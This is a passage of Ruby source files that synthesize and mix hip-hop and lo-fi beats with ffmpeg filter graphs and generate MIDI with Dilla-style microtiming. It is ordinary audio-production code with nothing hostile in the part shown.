    kp = [0,3,6,7,10,12,14,15] if b % 16 == 15
    kp = [0,10] if sec == :intro && b > 2
    kp = [] if sec == :intro && b <= 2
    kp = (b.even? ? [0] : [0,7]) if sec == :break
    kp = (b.even? ? [0,10] : [0,7,14]) if sec == :drop
    kp = [0] if sec == :outro && b > bars - 8 && b % 4 == 0

    kp.each_with_index do |s, i|
      # Separate timing grids: late/straight kicks, early/variable snares, late hats, laggy bass.
      t = base + s * step + [0.000, 0.006, 0.011, -0.004, 0.018][(b + i) % 5]
      events[:kick] << [t, den]
      events[:bass] << [t + 0.023, den, ROOTS[(b / 4 + i) % ROOTS.length]] unless sec == :intro
    end

    [4, 12].each do |s|
      events[:snare] << [base + s * step + [-0.010, -0.006, 0.004, 0.010, 0.017][b % 5], den] unless sec == :intro
    end

    (b.even? ? [6,11] : [3,6,11,15]).each do |s|
      events[:ghost] << [base + s * step + [-0.014, 0.006, 0.018][(b + s) % 3], den * 0.32] unless [:intro, :drop].include?(sec)
    end

    hats = b % 16 == 7 ? [0,4,8,12] : [0,2,4,6,8,10,12,14]
    hats = b.even? ? [] : [0,4,8,12] if sec == :break
    hats.each_with_index do |s, i|
      jitter = [-0.004, 0.000, 0.003, 0.006][(b + s) % 4]
      events[:hat] << [base + s * step + (i.odd? ? 0.018 : 0.002) + jitter, den * 0.52]
    end

    events[:open] << [base + 6 * step + 0.008, den * 0.30] if ![:intro, :break].include?(sec) && [1,3].include?(b % 4)

    if b >= 2 && b % 4 == 0
      chord = rotate_chord(PAD_CHORDS[(b / 4) % PAD_CHORDS.length], b)
      sustain = 3.2 + (b % 3) * 0.9
      events[:pad] << [base + 0.03, den, chord, sustain]
    end

    if b >= 2 && b % 2 == 0
      chord = rotate_chord(PAD_CHORDS[(b / 4 + 3) % PAD_CHORDS.length], b)
      events[:chop] << [base + [1,2,5,9,13][b % 5] * step + [-0.022, 0.0, 0.017][b % 3], den, chord]
    end

    events[:riser] << [base + 2 * beat, 0.13] if [7,23,39,47,63,71,87].include?(b)
    events[:stop] << [base + 3 * beat, 0.18] if [23,39,47,63,71,87].include?(b)
  end
  events
end

def pad_expression(t, v, chord, sustain, bar_index)
  parts = chord.each_with_index.map do |f, i|
    # Five-layer analog voice: saw-ish fundamental, detuned saw, triangle-ish partial, sine, quiet square-ish odd partial.
    drift = 1.0 + ((i - 2) * 0.0017) + (Math.sin((bar_index + i) * 1.7) * 0.0009)
    spike = (bar_index % 11 == i ? (ANALOG[:bad_tune_spike_cents] / 1200.0) : 0.0)
    ff = f * drift * (2.0 ** spike)
    [
      "sin(2*PI*#{ff}*(t-#{t}))",
      "0.55*sin(2*PI*#{ff * 1.004}*(t-#{t}))",
      "0.32*sin(2*PI*#{ff * 2.005}*(t-#{t}))",
      "0.20*sin(2*PI*#{ff * 0.5}*(t-#{t}))",
      "0.11*sin(2*PI*#{ff * 3.0}*(t-#{t}))"
    ].join("+")
  end.join("+")
  # Slow envelope, breathing tremolo, capacitor-like lag by filtering in ffmpeg later.
  "between(t,#{t},#{t+sustain})*#{v}*0.035*exp(-(t-#{t})*0.26)*(0.78+0.22*sin(2*PI*0.23*(t-#{t})))*(#{parts})"
end

def render(dest, bars: BARS)
  beat = 60.0 / BPM
  dur = (bars * beat * 4).round(3)
  ev = schedule(bars)

  kick = ev[:kick].map { |t, v| "between(t,#{t},#{t+0.42})*#{v}*0.95*exp(-(t-#{t})*7.4)*sin(2*PI*(45+115*exp(-20*(t-#{t})))*(t-#{t}))" }
  bass = ev[:bass].map { |t, v, f| "between(t,#{t},#{t+0.46})*#{v}*0.42*exp(-(t-#{t})*3.2)*sin(2*PI*#{f}*(t-#{t}))" }
  snare = ev[:snare].map { |t, v| "between(t,#{t},#{t+0.18})*#{v}*0.60*exp(-(t-#{t})*23)" }
  ghost = ev[:ghost].map { |t, v| "between(t,#{t},#{t+0.09})*#{v}*exp(-(t-#{t})*35)" }
  hat = ev[:hat].map { |t, v| "between(t,#{t},#{t+0.06})*#{v}*exp(-(t-#{t})*78)" }
  open = ev[:open].map { |t, v| "between(t,#{t},#{t+0.25})*#{v}*exp(-(t-#{t})*11)" }
  pad = ev[:pad].each_with_index.map { |(t, v, chord, sustain), i| pad_expression(t, v, chord, sustain, i) }
  chop = ev[:chop].map do |t, v, chord|
    f = chord[(t * 10).to_i % chord.length]
    "between(t,#{t},#{t+0.55})*#{v}*0.11*exp(-(t-#{t})*1.7)*(sin(2*PI*#{f}*(t-#{t}))+0.35*sin(2*PI*#{f*1.5}*(t-#{t})))"
  end
  risers = ev[:riser].map { |t, v| "between(t,#{t},#{t+2.0})*#{v}*((t-#{t})/2.0)^2" }
  stops = ev[:stop].map { |t, v| "between(t,#{t},#{t+1.1})*#{v}*exp(-(t-#{t})*2.2)" }

  inputs = [
    *lavfi("aevalsrc='#{expr(kick)}':d=#{dur}:s=#{SR}"),
    *lavfi("aevalsrc='#{expr(bass)}':d=#{dur}:s=#{SR}"),
    *lavfi("anoisesrc=color=white:r=#{SR}:amplitude=0.5:d=#{dur}"),
    *lavfi("anoisesrc=color=pink:r=#{SR}:amplitude=0.04:d=#{dur}"),
    *lavfi("aevalsrc='#{expr(pad)}':d=#{dur}:s=#{SR}"),
    *lavfi("aevalsrc='#{expr(chop)}':d=#{dur}:s=#{SR}"),
    *lavfi("aevalsrc='#{expr(risers + stops)}':d=#{dur}:s=#{SR}")
  ]

  filter = <<~F
    [0:a]aformat=channel_layouts=stereo[k];
    [1:a]aformat=channel_layouts=stereo,lowpass=f=140[bs];
    [2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];
    [ns]volume='#{expr(snare + ghost)}':eval=frame,highpass=f=160,bandpass=f=1600:w=2600[sn];
    [nh]volume='#{expr(hat)}':eval=frame,highpass=f=6500[hh];
    [no]volume='#{expr(open)}':eval=frame,bandpass=f=5600:w=5200[op];
    [4:a]aformat=channel_layouts=stereo,lowpass=f=#{ANALOG[:lowpass_hz]},aphaser=speed=0.08:decay=0.35,adelay=#{ANALOG[:chorus_delay_l_ms]}|#{ANALOG[:chorus_delay_r_ms]},aecho=0.18:0.22:120:0.22[pad];
    [5:a]aformat=channel_layouts=stereo,highpass=f=120,lowpass=f=5000,aecho=0.18:0.22:90:0.28[chop];
    [6:a]aformat=channel_layouts=stereo,highpass=f=900,lowpass=f=9000[fx];
    [k][bs][sn][hh][op][pad][chop][fx]amix=inputs=8:weights=1.25 0.9 0.9 0.48 0.42 0.95 0.65 0.35:duration=longest[music];
    [3:a]volume=#{ANALOG[:vinyl_level]},highpass=f=90,lowpass=f=8000[vinyl];
    [music][vinyl]amix=inputs=2:weights=1 0.32:duration=first,
      acompressor=threshold=-18dB:ratio=3.5:attack=25:release=120:makeup=2,
      acrusher=bits=#{ANALOG[:sp_bits]}:samples=#{ANALOG[:sp_ratio].round(3)}:mix=0.22,
      aeval='(tanh((val(0)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87|(tanh((val(1)+#{ANALOG[:tape_dc]})*1.45)-0.072)/0.87',
      highpass=f=30,lowpass=f=12000,equalizer=f=45:t=o:w=1.2:g=1,
      alimiter=level_out=0.96:limit=0.92[out]
  F

  codec = File.extname(dest).downcase == ".mp3" ? ["-codec:a", "libmp3lame", "-b:a", "320k"] : ["-c:a", "pcm_s16le"]
  FileUtils.mkdir_p(File.dirname(dest))
  sh! "ffmpeg", "-y", *inputs, "-filter_complex", filter.tr("\n", " "), "-map", "[out]", *codec, dest
end

def liveset(dest, minutes)
  bars = [(minutes.to_f * 60.0 / (60.0 / BPM * 4)).ceil, 64].max
  render(dest, bars: bars)
end

def clean(input, output)
  abort "missing input" unless input && File.exist?(input)
  FileUtils.mkdir_p(File.dirname(output))
  sh! "ffmpeg", "-y", "-i", input, "-af", "highpass=f=28,lowpass=f=15500,afftdn=nf=-25,adeclick,loudnorm=I=-18:TP=-1.5:LRA=10", "-c:a", "pcm_s16le", output
end

def stems(root, manifest)
  sets = []
  Dir.glob(File.join(root, "**", "*.{wav,mp3,flac,ogg,m4a}"), File::FNM_EXTGLOB).group_by { |p| File.dirname(p) }.each do |dir, files|
    stem_map = {}
    files.each do |f|
      b = File.basename(f).downcase
      key = b.include?("drums") ? "drums" : b.include?("bass") ? "bass" : b.include?("vocals") ? "vocals" : b.include?("other") ? "other" : File.basename(f, ".*")
      stem_map[key] = f.sub(DIR + "/", "")
    end
    sets << { "name" => File.basename(dir), "bpm" => BPM, "stems" => stem_map, "prime_swell" => PRIMES[sets.length % PRIMES.length] }
  end
  FileUtils.mkdir_p(File.dirname(manifest))
  File.write(manifest, JSON.pretty_generate({ "version" => 4, "sets" => sets }) + "\n")
  puts "manifest -> #{manifest}"
end

def chords
  PAD_CHORDS.each_with_index { |c, i| puts "%02d %-10s %s" % [i + 1, c[:name], c[:hz].map { |x| x.round(2) }.join(" ")] }
end

case ARGV.shift
when "render", nil then render(ARGV.shift || File.join(DIR, "analog_full.mp3"))
when "liveset" then liveset(ARGV.shift || File.join(DIR, "analog_liveset.mp3"), (ARGV.shift || 12).to_f)
when "clean" then clean(ARGV.shift, ARGV.shift || File.join(DIR, "samples/clean.wav"))
when "stems" then stems(ARGV.shift || File.join(DIR, "samples/demucs"), ARGV.shift || File.join(DIR, "samples/manifest.json"))
when "chords" then chords
else puts "render OUT.mp3 | liveset OUT.mp3 MINUTES | chords | clean IN OUT | stems ROOT MANIFEST"
end

dilla/dilla_hiphop.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
#
# J Dilla — MPC-style hip-hop beat synthesized from primitives.
# 86 BPM × 8 bars. Off-grid kicks, snare drag, hat swing, vinyl crackle.
#
# Usage:  ruby dilla_hiphop.rb [out.mp3]   default: ./dilla_hiphop.mp3

DIR = __dir__
BPM  = 86
BARS = 8

def run(label, *cmd)
  puts ">>> #{label}"
  abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end

def render(label, dest, inputs:, filter:, map:, args: ["-b:a", "320k"])
  run label, "ffmpeg", "-y", *inputs,
      "-filter_complex", filter.tr("\n", " "),
      "-map", map, *args, dest
end

def lavfi(src) = ["-f", "lavfi", "-i", src]

def synthesize(dest)
  beat  = 60.0 / BPM
  bar   = beat * 4
  step  = beat / 4
  total = (bar * BARS).round(3)

  kick_per_bar  = Array.new(BARS) { [0, 7, 10, 14] }
  kick_per_bar[7] = [0, 4, 7, 10, 12, 14, 15]

  snare_per_bar = Array.new(BARS) { [4, 12] }
  snare_per_bar[7] = [4, 10, 12, 14]

  ghost_per_bar = Array.new(BARS) { [] }
  ghost_per_bar[1] = [11]
  ghost_per_bar[3] = [3, 15]
  ghost_per_bar[5] = [11]

  hat_per_bar  = Array.new(BARS) { [0, 2, 4, 6, 8, 10, 12, 14] }
  hat_per_bar[5] = []
  hat_per_bar[6] = [0, 4, 8, 12]

  open_per_bar = Array.new(BARS) { [6] }
  open_per_bar[7] = [6, 14]

  kicks  = BARS.times.flat_map { |b| kick_per_bar[b].map  { |s| (b * bar + s * step).round(4) } }
  snares = BARS.times.flat_map { |b| snare_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }
  ghosts = BARS.times.flat_map { |b| ghost_per_bar[b].map { |s| (b * bar + s * step + 0.018).round(4) } }
  hats   = BARS.times.flat_map { |b|
    hat_per_bar[b].each_with_index.map { |s, i| (b * bar + s * step + (i.odd? ? 0.012 : 0)).round(4) }
  }
  opens  = BARS.times.flat_map { |b| open_per_bar[b].map { |s| (b * bar + s * step).round(4) } }

  kick_sig  = kicks.map  { |t| "between(t,#{t},#{t + 0.25})*0.9*exp(-(t-#{t})*6)*sin(2*PI*(100*(t-#{t})-150*(t-#{t})*(t-#{t})))" }.join("+")
  sub_sig   = kicks.map  { |t| "between(t,#{t},#{t + 0.45})*0.4*exp(-(t-#{t})*3.5)*sin(2*PI*32.70*(t-#{t}))" }.join("+")
  snr_env   = (snares.map { |t| "between(t,#{t},#{t + 0.12})*exp(-(t-#{t})*20)" } +
               ghosts.map { |t| "between(t,#{t},#{t + 0.08})*0.35*exp(-(t-#{t})*30)" }).join("+")
  hat_env   = hats.map   { |t| "between(t,#{t},#{t + 0.05})*exp(-(t-#{t})*60)" }.join("+")
  opn_env   = opens.map  { |t| "between(t,#{t},#{t + 0.2})*exp(-(t-#{t})*12)" }.join("+")

  inputs = [
    *lavfi("aevalsrc='#{kick_sig}':d=#{total}:s=44100"),
    *lavfi("aevalsrc='#{sub_sig}':d=#{total}:s=44100"),
    *lavfi("anoisesrc=color=white:r=44100:amplitude=0.5:d=#{total}"),
    *lavfi("anoisesrc=color=pink:r=44100:amplitude=0.04:d=#{total}"),
  ]

  filt = <<~F
    [0:a]aformat=channel_layouts=stereo,equalizer=f=60:t=o:w=1:g=3,
         acompressor=threshold=-12dB:ratio=4:attack=1:release=60:makeup=2[kick];
    [1:a]aformat=channel_layouts=stereo,lowpass=f=120,equalizer=f=40:t=o:w=0.8:g=4[sub];
    [2:a]aformat=channel_layouts=stereo,asplit=3[ns][nh][no];
    [ns]volume='(#{snr_env})*0.7':eval=frame,equalizer=f=200:t=o:w=2:g=3,bandpass=f=300:w=400[snare];
    [nh]volume='(#{hat_env})*0.3':eval=frame,highpass=f=6000[hat];
    [no]volume='(#{opn_env})*0.25':eval=frame,bandpass=f=5500:w=5000[open];
    [kick][sub][snare][hat][open]amix=inputs=5:weights=1.3 0.85 0.9 0.55 0.5:duration=longest[drums];
    [drums]acompressor=threshold=-16dB:ratio=4:attack=2:release=80:makeup=3[drums_comp];
    [drums_comp]aeval='tanh(val(0)*1.6)/tanh(1.6)|tanh(val(1)*1.6)/tanh(1.6)'[drums_sat];
    [drums_sat]lowpass=f=11000,equalizer=f=200:t=o:w=2:g=-2,equalizer=f=2500:t=o:w=2:g=-3[lofi];
    [3:a]equalizer=f=4500:t=o:w=3:g=5,equalizer=f=80:t=o:w=1:g=-18,volume=0.15[crackle];
    [lofi][crackle]amix=inputs=2:weights=1 0.4:duration=first[mixed];
    [mixed]alimiter=level_in=1.0:level_out=0.97:limit=0.92:attack=4:release=40[out]
  F

  render "dilla beat (#{BPM} BPM × #{BARS} bars → #{total}s)", dest,
    inputs: inputs, map: "[out]", filter: filt
end

dest = ARGV[0] || File.join(DIR, "dilla_hiphop.mp3")
synthesize(dest)
puts "done -> #{dest}"

dilla/electronium.rb

#!/usr/bin/env ruby
# frozen_string_literal: true

# Dilla Electronium: Raymond Scott-style generative MIDI with Dilla microtiming.
# Inspired by the public gist noted in README.md, adapted for pub4 as a safe
# generator: no auto-install, no network, no shell renderer.

begin
  require "midilib"
  require "midilib/sequence"
  require "midilib/track"
  require "midilib/consts"
rescue LoadError
  warn "midilib is required. Install it outside this script: gem install midilib"
  exit 69
end

module DillaElectronium
  PPQN = 480
  BPM = Integer(ENV.fetch("BPM", "86"))
  BARS = Integer(ENV.fetch("BARS", "32"))

  F_MINOR = [65, 67, 68, 70, 72, 73, 75].freeze
  CHORDS = {
    fm9: [53, 56, 60, 63, 67],
    dbmaj9: [49, 53, 56, 60, 63],
    eb9: [51, 55, 58, 63, 65],
    bbm9: [46, 49, 53, 56, 60],
    cm7b5: [48, 51, 54, 58],
    c7alt: [48, 52, 58, 61, 63]
  }.freeze
  PROGRESSION = %i[fm9 dbmaj9 eb9 bbm9 cm7b5 fm9 c7alt fm9].freeze

  DRUMS = {
    kick: 36,
    snare: 38,
    closed_hat: 42,
    open_hat: 46
  }.freeze

  module Groove
    module_function

    def offset_ticks(type)
      case type
      when :kick then rand(-5..1)
      when :snare then rand(2..9)
      when :hat then rand(-3..4)
      when :bass then rand(-4..5)
      else rand(-5..5)
      end
    end

    def beat_to_ticks(beat, type = :melody)
      ((beat * PPQN) + offset_ticks(type)).round.clamp(0, 1 << 30)
    end
  end

  class TrackBuilder
    include MIDI

    def initialize(sequence, name, channel)
      @sequence = sequence
      @track = Track.new(sequence)
      @track.name = name
      @sequence.tracks << @track
      @channel = channel
    end

    def note(note, start_beat, duration_beats, velocity, feel: :melody)
      return if duration_beats <= 0

      start = Groove.beat_to_ticks(start_beat, feel)
      stop = [start + (duration_beats * PPQN).round, start + 1].max
      @track.events << NoteOn.new(@channel, note, velocity.clamp(1, 127), 0, start)
      @track.events << NoteOff.new(@channel, note, 0, 0, stop)
    end

    def finish
      @track.events.sort_by! { |event| [event.time_from_start, event.is_a?(NoteOff) ? 0 : 1] }
      @track.recalc_times
    end
  end

  class Composer
    include MIDI

    def initialize(bpm: BPM, bars: BARS)
      @bpm = bpm
      @bars = bars
      @sequence = Sequence.new
      @sequence.ppqn = PPQN
      add_tempo_track
    end

    def write(path)
      add_drums
      add_bass
      add_chords
      add_melody
      File.open(path, "wb") { |file| @sequence.write(file) }
      path
    end

    private

    def add_tempo_track
      track = Track.new(@sequence)
      @sequence.tracks << track
      track.events << Tempo.new(Tempo.bpm_to_mpq(@bpm))
      track.events << MetaEvent.new(META_SEQ_NAME, "Dilla Electronium")
      track.events << MetaEvent.new(META_TIME_SIG, [4, 2, 24, 8].pack("cccc"))
    end

    def add_drums
      drums = TrackBuilder.new(@sequence, "drums", 9)
      @bars.times do |bar|
        base = bar * 4.0
        [0.0, 1.75, 2.5, 3.5].each { |beat| drums.note(DRUMS[:kick], base + beat, 0.18, 105, feel: :kick) }
        [1.0, 3.0].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.12, 92, feel: :snare) }
        [2.75].each { |beat| drums.note(DRUMS[:snare], base + beat, 0.08, 42, feel: :snare) } if bar.odd?
        8.times do |step|
          beat = base + (step * 0.5) + (step.odd? ? 0.055 : 0.0)
          drums.note(DRUMS[:closed_hat], beat, 0.08, step.odd? ? 48 : 68, feel: :hat)
        end
        drums.note(DRUMS[:open_hat], base + 3.5, 0.18, 58, feel: :hat) if (bar % 4).zero?
      end
      drums.finish
    end

    def add_bass
      bass = TrackBuilder.new(@sequence, "bass", 0)
      chord_cycle.each_with_index do |chord_name, index|
        root = CHORDS.fetch(chord_name).first - 12
        start = index * 2.0
        bass.note(root, start, 0.62, 98, feel: :bass)
        bass.note(root + 12, start + 0.75, 0.25, 72, feel: :bass)
        bass.note(root, start + 1.5, 0.38, 86, feel: :bass)
      end
      bass.finish
    end

    def add_chords
      chords = TrackBuilder.new(@sequence, "electric-piano", 1)
      chord_cycle.each_with_index do |chord_name, index|
        CHORDS.fetch(chord_name).each_with_index do |note, voice|
          chords.note(note + 12, index * 2.0, 1.82, 48 + (voice * 4), feel: :melody)
        end
      end
      chords.finish
    end

    def add_melody
      lead = TrackBuilder.new(@sequence, "lead-chops", 2)
      note_index = 2
      direction = 1
      (@bars * 4).times do |step|
        if rand < 0.78
          note = F_MINOR[note_index] + (rand < 0.25 ? 12 : 0)
          duration = [0.25, 0.5, 0.75].sample
          lead.note(note, step * 1.0, duration, rand(62..88), feel: :melody)
        end
        note_index += direction * (rand < 0.2 ? 2 : 1)
        if note_index >= F_MINOR.length - 1
          note_index = F_MINOR.length - 2
          direction = -1
        elsif note_index <= 0
          note_index = 1
          direction = 1
        end
        direction *= -1 if rand < 0.18
      end
      lead.finish
    end

    def chord_cycle
      repeats = ((@bars * 4.0) / (PROGRESSION.length * 2.0)).ceil
      PROGRESSION.cycle.take(PROGRESSION.length * repeats)
    end
  end
end

if $PROGRAM_NAME == __FILE__
  output = ARGV[0] || File.join(__dir__, "dilla_electronium.mid")
  path = DillaElectronium::Composer.new.write(output)
  puts "wrote #{path}"
end

dilla/make.rb

#!/usr/bin/env ruby
# frozen_string_literal: true
#
# Sirkel Sag × Voicemails — mix builder + sample harvester.
#
# Mix:
#   ruby make.rb [v7|v8|v9|v10|v11]            default: v11
# Sample harvest (YouTube → stems):
#   ruby make.rb demux <url-or-path>           6-stem demucs
#   ruby make.rb demux <url-or-path> deep      6-stem + EQ sub-bands + M/S
# Stem manifest for dilla.html sample rack:
#   ruby make.rb stems                         scan stems/ + write manifest.json
#   ruby make.rb stems add <name> <dir> [bpm]  register a new stem set
# Long-form WAV liveset (auto-runs after every vN):
#   ruby make.rb liveset [set] [minutes]       60-min default; LIVESET_MIN env
# Standalone beat synthesizers (no source needed):
#   ruby dilla_hiphop.rb [out.mp3]             86 BPM × 8 bars, lo-fi
#   ruby techno_hate.rb [out.mp3]              142 BPM × 8 bars, distorted
#
# v7   Dilla × FlyLo × Afta-1 base, heavy master + vinyl crackle
# v8   Dilla Drunk — sub-forward, dry vox, wobble
# v9   Afta-1 Psychedelic Space — pitch -4st, slowed 8%, Db-min pad
# v10  Crane Song HEDD — triode/pentode harmonic emulation, C-min pad
# v11  Clean & Soothing — 2kHz pluck notch, M/S split, original-pitch vox

require "fileutils"

DIR         = __dir__
BEAT        = ENV.fetch("BEAT", "/sdcard/Download/Voicemails.mp3")
DUR         = 146
BPM         = 118.6
LIVESET_MIN = (ENV["LIVESET_MIN"] || 60).to_i

VOCALS = {
  processed: File.join(DIR, "vocals_processed.wav"),
  precise:   File.join(DIR, "vocals_precise.wav"),
  original:  File.join(DIR, "vocals_original_pitch.wav"),
}.freeze

def out_path(ver)    = File.join(DIR, "final_mix_#{ver}.mp3")
def tmp(ver, name)   = "/tmp/#{ver}_#{name}.wav"
def loop_beat        = ["-stream_loop", "-1", "-i", BEAT, "-t", DUR.to_s]
def lavfi(src)       = ["-f", "lavfi", "-i", src]
def beat_ms(bpm)     = (60_000 / bpm).to_i
def dotted_8th(bpm)  = (beat_ms(bpm) * 0.75).to_i
def half(bpm)        = (beat_ms(bpm) * 2).to_i

def run(label, *cmd)
  puts ">>> #{label}"
  abort "fail: #{label}" unless system(*cmd.flatten.map(&:to_s))
end

def render(label, dest, inputs:, filter:, map:, args: ["-ar", "44100"])
  run label, "ffmpeg", "-y", *inputs,
      "-filter_complex", filter.tr("\n", " "),
      "-map", map, *args, dest
end

# v7
def v7
  ver = "v7"
  beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")
  d8 = dotted_8th(BPM)

  render "beat: M/S + EQ + crunch + room", beat_pre,
    inputs: ["-i", BEAT], map: "[beat_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo,volume=1.0[raw];
      [raw]pan=stereo|c0=c0+c1|c1=c0+c1[mid];
      [raw]pan=stereo|c0=c0-c1|c1=c1-c0[side];
      [mid]equalizer=f=60:t=o:w=0.8:g=7,
           equalizer=f=120:t=o:w=1:g=3,
           equalizer=f=400:t=o:w=1:g=-2,
           equalizer=f=2000:t=o:w=2:g=-3,
           acompressor=threshold=-20dB:ratio=6:attack=2:release=80:makeup=3[mid_eq];
      [side]equalizer=f=300:t=o:w=2:g=-4,
            equalizer=f=6000:t=o:w=3:g=4,
            acompressor=threshold=-18dB:ratio=3:attack=8:release=120:makeup=2[side_eq];
      [mid_eq][side_eq]amix=inputs=2:weights=1.4 0.6[beat_mix];
      [beat_mix]acrusher=level_in=1.2:level_out=0.9:bits=14:mode=log:aa=1[beat_crush];
      [beat_crush]aecho=0.6:0.4:30|60|90:0.15|0.08|0.04[beat_room];
      [beat_room]acompressor=threshold=-16dB:ratio=4:attack=3:release=60:makeup=2[beat_comp];
      [beat_comp]volume=0.88[beat_out]
    F

  render "vocals: clear + shiny + precise", vocals_pre,
    inputs: ["-i", VOCALS[:processed]], map: "[voc_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
      [vraw]equalizer=f=180:t=o:w=1:g=-10,
            equalizer=f=300:t=o:w=1:g=-4,
            equalizer=f=900:t=o:w=1.5:g=2,
            equalizer=f=2500:t=o:w=2:g=5,
            equalizer=f=5000:t=o:w=2:g=4,
            equalizer=f=10000:t=o:w=3:g=5,
            equalizer=f=16000:t=o:w=3:g=4[voc_eq];
      [voc_eq]acompressor=threshold=-16dB:ratio=2.5:attack=5:release=80:makeup=5[voc_comp];
      [voc_comp]asplit=4[va][vb][vc][vd];
      [va]volume=1.0[voc_dry];
      [vb]aecho=0.7:0.6:350|700:0.3|0.12,
          equalizer=f=300:t=h:w=1:g=0[voc_plate];
      [vc]adelay=#{d8}|#{d8 * 2},
          equalizer=f=400:t=h:w=1:g=0[voc_ping];
      [vd]chorus=0.5:0.9:20|25:0.1|0.08:0.15|0.2:1.0|1.0[voc_shimmer];
      [voc_dry][voc_plate][voc_ping][voc_shimmer]amix=inputs=4:weights=1.4 0.4 0.35 0.5[voc_wet];
      [voc_wet]volume=1.35[voc_out]
    F

  render "crackle: vinyl surface noise", crackle,
    inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.025:d=300"),
    map: "[crack_out]", filter: <<~F
      [0:a]equalizer=f=3000:t=o:w=3:g=5,
           equalizer=f=80:t=o:w=1:g=-15,
           volume=0.18[crack_out]
    F

  render "master: triple-comp + tape sat + limit", out_path(ver),
    inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
    map: "[out]", args: ["-b:a", "320k"], filter: <<~F
      [0:a]volume=0.82[b];
      [1:a]volume=1.25[v];
      [2:a]volume=0.22[c];
      [b][v][c]amix=inputs=3:duration=first:weights=1 1.25 0.22[raw_mix];
      [raw_mix]acompressor=threshold=-22dB:ratio=3:attack=5:release=120:makeup=3[comp_low];
      [comp_low]acompressor=threshold=-12dB:ratio=5:attack=2:release=60:makeup=3[comp_mid];
      [comp_mid]acompressor=threshold=-6dB:ratio=10:attack=1:release=30:makeup=2[comp_hi];
      [comp_hi]equalizer=f=55:t=o:w=0.7:g=5,
                equalizer=f=160:t=o:w=1:g=2,
                equalizer=f=500:t=o:w=1.5:g=-2,
                equalizer=f=3000:t=o:w=2:g=-1,
                equalizer=f=10000:t=o:w=2:g=3[master_eq];
      [master_eq]aeval='tanh(val(0)*2.5)/tanh(2.5)|tanh(val(1)*2.5)/tanh(2.5)'[tape_sat];
      [tape_sat]aecho=0.3:0.2:18:0.06[air];
      [air]alimiter=level_in=1.0:level_out=0.98:limit=0.92:attack=3:release=25:level=disabled[limited];
      [limited]volume=0.96[out]
    F
end

# v8
def v8
  ver = "v8"
  beat_pre, vocals_pre, crackle = tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "crackle")

  render "beat: sub focus + drunk wobble", beat_pre,
    inputs: loop_beat, map: "[beat_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
      [raw]equalizer=f=55:t=o:w=0.7:g=9,
           equalizer=f=120:t=o:w=1:g=4,
           equalizer=f=350:t=o:w=1.5:g=-6,
           equalizer=f=1000:t=o:w=2:g=-8,
           equalizer=f=4000:t=o:w=2:g=-5,
           equalizer=f=10000:t=o:w=3:g=-4[sub_heavy];
      [sub_heavy]acompressor=threshold=-18dB:ratio=8:attack=1:release=40:makeup=4[beat_comp];
      [beat_comp]tremolo=f=0.4:d=0.04[beat_wobble];
      [beat_wobble]acrusher=level_in=1.1:level_out=0.85:bits=16:mode=log:aa=1[beat_grit];
      [beat_grit]volume=0.75[beat_out]
    F

  render "vocals: dry + tight + present", vocals_pre,
    inputs: ["-i", VOCALS[:precise]], map: "[voc_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[vraw];
      [vraw]equalizer=f=200:t=o:w=1:g=-10,
            equalizer=f=1200:t=o:w=2:g=3,
            equalizer=f=3000:t=o:w=2:g=6,
            equalizer=f=6000:t=o:w=2:g=4,
            equalizer=f=12000:t=o:w=3:g=3[voc_eq];
      [voc_eq]acompressor=threshold=-18dB:ratio=4:attack=3:release=60:makeup=6[voc_comp];
      [voc_comp]asplit=2[vd][vr];
      [vd]volume=1.0[voc_dry];
      [vr]aecho=0.5:0.3:80|160:0.12|0.05[voc_tiny_room];
      [voc_dry][voc_tiny_room]amix=inputs=2:weights=1.0 0.3[voc_out]
    F

  render "crackle: heavy vinyl", crackle,
    inputs: lavfi("anoisesrc=r=44100:color=pink:amplitude=0.05:d=#{DUR}"),
    map: "[crack_out]", filter: <<~F
      [0:a]equalizer=f=4000:t=o:w=3:g=8,
           equalizer=f=80:t=o:w=1:g=-20,
           volume=0.3[crack_out]
    F

  render "master: tape sat + breathe", out_path(ver),
    inputs: ["-i", beat_pre, "-i", vocals_pre, "-i", crackle],
    map: "[out]", args: ["-b:a", "320k"], filter: <<~F
      [0:a]volume=0.85[b];
      [1:a]volume=1.4[v];
      [2:a]volume=0.35[c];
      [b][v][c]amix=inputs=3:duration=first:weights=1 1.4 0.35[mix];
      [mix]equalizer=f=60:t=o:w=0.8:g=3,
           equalizer=f=5000:t=o:w=2:g=2[master_eq];
      [master_eq]aeval='tanh(val(0)*1.8)/tanh(1.8)|tanh(val(1)*1.8)/tanh(1.8)'[tape];
      [tape]alimiter=level_in=1.0:level_out=0.97:limit=0.94:attack=5:release=80:level=disabled[out]
    F
end

# v9
def v9
  ver  = "v9"
  slow = 0.92
  bpm  = BPM * slow
  d8   = dotted_8th(bpm)
  hf   = half(bpm)
  beat_pre, vocals_pre, pad, crackle =
    tmp(ver, "beat"), tmp(ver, "vocals"), tmp(ver, "pad"), tmp(ver, "crackle")

  render "beat: pitched -4st + slowed + psychedelic", beat_pre,
    inputs: loop_beat, map: "[beat_out]", filter: <<~F
      [0:a]aformat=sample_rates=44100:channel_layouts=stereo[raw];
      [raw]asetrate=44100*0.7937,aresample=44100,atempo=#{slow}[pitched];
      [pitched]equalizer=f=50:t=o:w=0.7:g=9,
               equalizer=f=100:t=o:w=1:g=5,
               equalizer=f=600:t=o:w=2:g=-3,
               equalizer=f=3000:t=o:w=2:g=-5[beat_eq];
      [beat_eq]aphaser=in_gain=0.6:out_gain=0.8:delay=4:decay=0.5:speed=0.4:type=triangular[beat_phase];
      [beat_phase]aecho=0.7:0.5:200|400:0.3|0.15[beat_echo];
